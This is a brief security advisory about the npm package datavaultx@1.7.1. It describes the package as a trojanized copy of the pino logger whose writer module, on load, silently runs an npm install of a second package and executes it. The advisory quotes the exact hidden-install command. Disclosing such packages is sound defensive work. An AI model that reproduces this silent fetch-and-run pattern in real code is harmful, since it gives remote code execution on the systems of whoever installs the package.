datavaultx@1.7.1

Analysis

Package datavaultx@1.7.1 is a trojanized clone of the pino logger, published under a misleading name suggesting an authentication/vault module. The main entry point (auth.js) requires lib/writer.js, which attempts to load the package auth-gen-next. If that package is not already installed, writer.js runs `npm install auth-gen-next --no-warnings --no-save --no-progress --loglevel silent` via execSync to download and install it, then requires it. This results in remote code execution of the downloaded package on the installer's system at the moment the module is loaded.